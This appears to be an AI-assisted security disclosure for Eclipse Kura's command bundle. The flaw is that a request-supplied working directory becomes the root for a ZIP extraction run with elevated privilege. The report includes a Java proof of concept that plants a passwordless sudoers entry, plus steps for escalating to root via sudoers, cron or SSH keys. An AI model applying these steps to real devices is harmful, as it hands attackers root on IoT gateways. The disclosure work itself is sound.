> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse Kura **Project id:** iot.kura **Repository:** https://github.com/eclipse-kura/kura-command </details> <details> <summary><strong>What are the affected versions?</strong></summary> - `kura-command` repo: all commits since `8ab8889` (the only content commit). Bundle version `org.eclipse.kura.core.cloud.command 2.0.0.qualifier`. No tags exist in this repository yet. - Upstream `eclipse-kura/kura`: ≥ `KURA_5.0.0_M1` (first tag containing `48ceb7dd2`) through `0e367536e` when the bundle was removed from the monorepo for migration here. </details> <details open> <summary><strong>Summary</strong></summary> `CommandCloudApp.execute()` extracts a caller-supplied ZIP archive into a caller-supplied directory **inside the Kura JVM process** before dispatching the command to the executor service. On a packaged Kura installation the JVM runs as `kurad` with `CAP_DAC_OVERRIDE`, while the configurable "Unprivileged" executor drops to the `kura` user via `su`. A caller who is intentionally restricted to unprivileged command execution (`privileged.command.service.enable=false`, the default) can therefore set `workingDirectory` to `/` and use the ZIP body to write or overwrite arbitrary files on the device as `kurad`, completely bypassing the unprivileged sandbox the operator selected. </details> <details> <summary><strong>Severity</strong></summary> Medium </details> <details> <summary><strong>Weakness</strong></summary> CWE-73: External Control of File Name or Path (leading to CWE-269: Improper Privilege Management) </details> <details> <summary><strong>Location</strong></summary> `bundles/org.eclipse.kura.core.cloud.command/src/main/java/org/eclipse/kura/cloud/app/command/CommandCloudApp.java` lines 229–239 and 311–318 Reachable from: - `bundles/org.eclipse.kura.rest.command.provider/src/main/java/org/eclipse/kura/internal/rest/command/CommandRestService.java` lines 75–133 (REST `POST /command/v1/command`) - `CommandCloudApp.doExec()` lines 176–207 (MQTT/cloud `CMD-V1/EXEC/command` request handler) </details> <details> <summary><strong>Origin</strong></summary> In **this repository** the vulnerable code arrived with the initial bundle import: - `8ab88898250ead5abd57dc9ee80ce52c15b7fd51` — *"feat: Added kura command bundles and tests. (\#1)"*, Salvatore Coppola, 2025-07-16. The code was migrated unchanged from the `eclipse-kura/kura` monorepo. There, the *privilege boundary* that this bug breaks was created by: - `48ceb7dd27930f79c2b944a9c5dbc5ea1f017bae` — *"Fixes for Unprivileged Command Service (\#3307)"*, Pierantonio Merlino, 2021-03-03 — added the `privileged.command.service.enable` toggle and routed commands through `su kura -c …`, but left the in-process `UnZip.unZipBytes(zipBytes, dir)` call untouched. The use of the request-supplied working directory as the extraction target dates back further (restored in `8ae1dbd72`, 2017-09-21, "Revert working directory ignored in CMD-V1"); before \#3307 there was no privilege boundary for it to violate. </details> <details> <summary><strong>Methodology</strong></summary> Manual review of all first-party Java sources, OSGi component descriptors, and metatype defaults. Traced every parameter of `KuraCommandRequestPayload` from both entry points (REST JSON body, MQTT KuraPayload metrics) to its sink. Cross-referenced the executor implementations (`UnprivilegedExecutorServiceImpl`, `ExecutorUtil`) and the packaged systemd unit (`kura.service`) and install script (`manage_kura_users.sh`) in the `eclipse-kura/kura` distribution to establish the concrete privilege levels of "in-process" vs. "unprivileged executor". Grepped for `unZip`, `getWorkingDir`, `cap_dac_override`, `su `, `commandUsername`. </details> <details> <summary><strong>Validation</strong></summary> The reproduction below compiles against the **actual** `org.eclipse.kura.util.zip.UnZip` class shipped by Kura, mirrors `CommandCloudApp.getDir()` exactly, and shows that the request-supplied working directory overrides the operator-configured one and becomes the extraction root with no validation. ```java import java.io.*; import java.nio.file.*; import java.util.*; import java.util.zip.*; import org.eclipse.kura.util.zip.UnZip; public class Repro { // === Mirror of CommandCloudApp.getDir() (lines 311-318) === static String getDir(Map<String,Object> properties, Map<String,Object> req) { String dir = (String) req.get("command.working.directory"); // attacker-controlled String defaultDir = (String) properties.get("command.working.directory"); if (defaultDir == null || defaultDir.isEmpty()) defaultDir = System.getProperty("java.io.tmpdir"); if (dir != null && !dir.isEmpty()) { return dir; // <-- returned verbatim, no validation } return defaultDir; } public static void main(String[] args) throws Exception { Path fakeRoot = Files.createTempDirectory("fakefs"); Files.createDirectories(fakeRoot.resolve("etc/sudoers.d")); // Step 1: malicious zip (== request body / REST "zipBytes") ByteArrayOutputStream zipBuf = new ByteArrayOutputStream(); try (ZipOutputStream zos = new ZipOutputStream(zipBuf)) { zos.putNextEntry(new ZipEntry("etc/sudoers.d/kura_pwn")); zos.write("kura ALL=(ALL) NOPASSWD: ALL\n".getBytes()); zos.closeEntry(); } byte[] zipBytes = zipBuf.toByteArray(); // Step 2: attacker sets workingDirectory in request Map<String,Object> operatorConfig = new HashMap<>(); operatorConfig.put("command.working.directory", "/tmp"); // operator's safe default operatorConfig.put("privileged.command.service.enable", false); // operator wants UNPRIVILEGED Map<String,Object> attackerRequest = new HashMap<>(); attackerRequest.put("command.working.directory", fakeRoot.toString()); // attacker -> "/" on a real box String dir = getDir(operatorConfig, attackerRequest); System.out.println("[*] Operator configured working dir : /tmp"); System.out.println("[*] getDir() returned (attacker val): " + dir); // Step 3: CommandCloudApp.execute() line 234 -- runs as JVM user, NOT via su kura System.out.println("[*] Calling UnZip.unZipBytes(zipBytes, dir) -- runs as JVM user (kurad)..."); UnZip.unZipBytes(zipBytes, dir); // Step 4: verify Path planted = fakeRoot.resolve("etc/sudoers.d/kura_pwn"); System.out.println("[*] Checking " + planted); if (Files.exists(planted)) { System.out.println("[+] FILE WRITTEN as JVM user: " + planted); System.out.println("[+] Contents: " + new String(Files.readAllBytes(planted)).trim()); System.out.println(); System.out.println("[!] On a real Kura gateway, attacker sets workingDirectory=\"/\" and the"); System.out.println("[!] kurad process (with CAP_DAC_OVERRIDE) writes /etc/sudoers.d/kura_pwn,"); System.out.println("[!] /opt/eclipse/kura/**, /root/.ssh/authorized_keys, etc."); System.out.println("[!] This bypasses privileged.command.service.enable=false entirely."); } else { System.out.println("[-] File not found (repro failed)"); System.exit(1); } } } ``` Observed output: ``` [*] Operator configured working dir : /tmp [*] getDir() returned (attacker val): /tmp/fakefs5934714440333770191 [*] Calling UnZip.unZipBytes(zipBytes, dir) -- runs as JVM user (kurad)... [*] Checking /tmp/fakefs5934714440333770191/etc/sudoers.d/kura_pwn [+] FILE WRITTEN as JVM user: /tmp/fakefs5934714440333770191/etc/sudoers.d/kura_pwn [+] Contents: kura ALL=(ALL) NOPASSWD: ALL [!] On a real Kura gateway, attacker sets workingDirectory="/" and the [!] kurad process (with CAP_DAC_OVERRIDE) writes /etc/sudoers.d/kura_pwn, [!] /opt/eclipse/kura/**, /root/.ssh/authorized_keys, etc. [!] This bypasses privileged.command.service.enable=false entirely. ``` **Mitigations checked and ruled out:** - `UnZip.validateFileName()` blocks `../` traversal in *entry names*, but provides no defence here because the *base directory itself* is attacker-chosen — every entry trivially `startsWith(canonicalID)` when `canonicalID` is `/`. - `getDir()` performs no canonicalisation, allow-listing, or containment check against the operator-configured `command.working.directory`. - The `privileged.command.service.enable` flag is consulted only at lines 369 and 388, *after* the unzip on line 234 has already run. - The REST path always reaches the unzip: `RestCommandRequest.getZipBytesAsByteArray()` returns `byte[0]` rather than `null` when `zipBytes` is absent, so `commandReq.getZipBytes()` is never null on the REST path; supplying real bytes is the normal case. </details> <details> <summary><strong>Detail</strong></summary> ```java // CommandCloudApp.java public KuraPayload execute(KuraPayload reqPayload) throws KuraException { KuraCommandRequestPayload commandReq = new KuraCommandRequestPayload(reqPayload); ... if (verifyPasswords(commandPassword, receivedPassword)) { ... String dir = getDir(commandReq); // [1] returns req.getWorkingDir() verbatim byte[] zipBytes = commandReq.getZipBytes(); // attacker-controlled body if (zipBytes != null) { try { UnZip.unZipBytes(zipBytes, dir); // [2] runs IN-PROCESS as kurad } catch (IOException e) { ... } } ... if (!runAsync) { CommandStatus status = executeProcessSync(dir, cmdarray, envp, ...); // [3] only NOW consults isPrivileged } } } private String getDir(KuraCommandRequestPayload req) { String dir = req.getWorkingDir(); // metric "command.working.directory" / REST "workingDirectory" String defaultDir = getDefaultWorkDir(); if (dir != null && !dir.isEmpty()) { return dir; // no validation } return defaultDir; } ``` The privilege boundary the operator configures: | Stage | Runs as | Controlled by | |---|---|---| | `UnZip.unZipBytes` (line 234) | JVM process: `kurad` with `AmbientCapabilities=cap_dac_override cap_dac_read_search cap_net_bind_service cap_sys_boot cap_kill cap_sys_module cap_sys_time cap_sys_tty_config cap_syslog` (per packaged `kura.service`) | always | | `executeProcessSync/Async` (lines 360–393) | `su kura -c "…"` via `UnprivilegedExecutorServiceImpl` → `ExecutorUtil.buildUnprivilegedCommand()` | when `privileged.command.service.enable=false` (default) | `CAP_DAC_OVERRIDE` lets the process bypass all discretionary file-permission checks; `kurad` can write any path on the system. The `kura` user has none of these capabilities and is the sandbox the operator believes they have selected. </details> <details> <summary><strong>Prior art searched</strong></summary> - `git log --all --grep` in `eclipse-kura/kura-command` for `zip`, `unzip`, `traversal`, `privilege`, `CVE`, `security`: no hits. - `git log` in upstream `eclipse-kura/kura` for the same terms plus `CommandCloudApp`, `working.directory`: found `87ecbce41` (2015 Zip-Slip hardening — applied to web `FileServlet`, not this code path), `8ae1dbd72` (2017 — restored honouring the request working directory, predates the privilege split), `48ceb7dd2` (2021, \#3307 — created the privilege split that this finding bypasses), `f02bfdfce` (\#3285), `53dc2db61` (moved UnZip to util bundle). None addresses extraction running at JVM privilege with a caller-chosen root. - `gh issue list` against both repositories for `zip OR working OR privilege OR unzip`: no matching open or closed issues. </details> <details> <summary><strong>Other patterns examined and ruled out</strong></summary> - **`verifyPasswords` (CommandCloudApp.java:338–358)** — uses `String.equals`, not constant-time. Timing side-channel over MQTT/HTTPS is impractical; transport-level authentication is still required even on success. Not reported separately. - **Default empty `command.password.value`** — the service is disabled by default (`command.enable=false`) and both entry points require transport authentication (REST `@RolesAllowed("command")`; MQTT broker credentials). The empty password is a documented second factor, not the only gate. Not a finding. - **`CommandServiceImpl.execute(String)` (linux.command bundle)** — writes the argument into a shell script and executes via `PrivilegedExecutorService`. This is an internal OSGi service consumed only by other Kura bundles; the caller is the bundle developer, not external input. No trust boundary crossed. - **`getEnvironmentMap` (CommandCloudApp.java:395–402)** — `pair.split("=")` then `item[1]` throws `ArrayIndexOutOfBoundsException` if a request env pair lacks `=`. Request-scoped exception, no shared-state corruption, no DoS to other users. Bug, not security. - **`RestCommandRequest.getZipBytesAsByteArray()` returns `new byte[0]` instead of `null`** — every REST request hits `UnZip.unZipBytes(new byte[0], dir)`; `ZipInputStream.getNextEntry()` on empty input returns `null` immediately. Wasteful but harmless. - **Zip Slip in `UnZip.validateFileName`** — uses `filePath.startsWith(canonicalID)` without a trailing separator, so `/tmp` would accept `/tmpXYZ`. That weakness lives in `eclipse-kura/kura` (`org.eclipse.kura.util`), not in this repository, and is moot for this finding because the base directory is already attacker-controlled. </details> <details> <summary><strong>Steps to reproduce</strong></summary> Preconditions: the operator has set `command.enable=true` (default `false`); the attacker can reach either entry point with valid transport credentials (REST user holding `kura.permission.rest.command`, or MQTT publish rights to the gateway's `CMD-V1` control topic) and knows the `command.password.value` (default empty). The operator has left `privileged.command.service.enable=false` to confine callers to the `kura` user. REST request: **Proof of concept:** [poc.http](/uploads/a18e42c304b53cd5732b5e80600f09cc/poc.http) The ZIP entry `etc/sudoers.d/kura_pwn` is written to `/etc/sudoers.d/kura_pwn` by `kurad` (CAP_DAC_OVERRIDE bypasses the root-owned directory). The attacker then issues a second, ordinary unprivileged command `sudo -n /bin/sh -c '…'` and now runs as root. Equivalent targets: `/etc/cron.d/<x>`, `/root/.ssh/authorized_keys`, any file under `/opt/eclipse/kura/` (overwrite a bundle JAR or `config.ini` to load attacker code into the JVM on next restart). The MQTT path is identical: publish a `KuraRequestPayload` to `…/CMD-V1/EXEC/command` with metric `command.working.directory = "/"` and the ZIP as the payload body. </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> Do not let the request control the extraction root. Either (a) ignore `req.getWorkingDir()` for the unzip step and always extract into the operator-configured `command.working.directory` (or a fresh subdirectory of it), or (b) perform the extraction via the same executor service that runs the command so it inherits the selected privilege level. Option (a) is the smaller change; option (b) closes the class. <!-- l1-helper-dup: 68ec2e0b7755e38098e3d8de5d9ae3ad60cf7abcd1e77cc78ffee034bfd644d1 --> </details>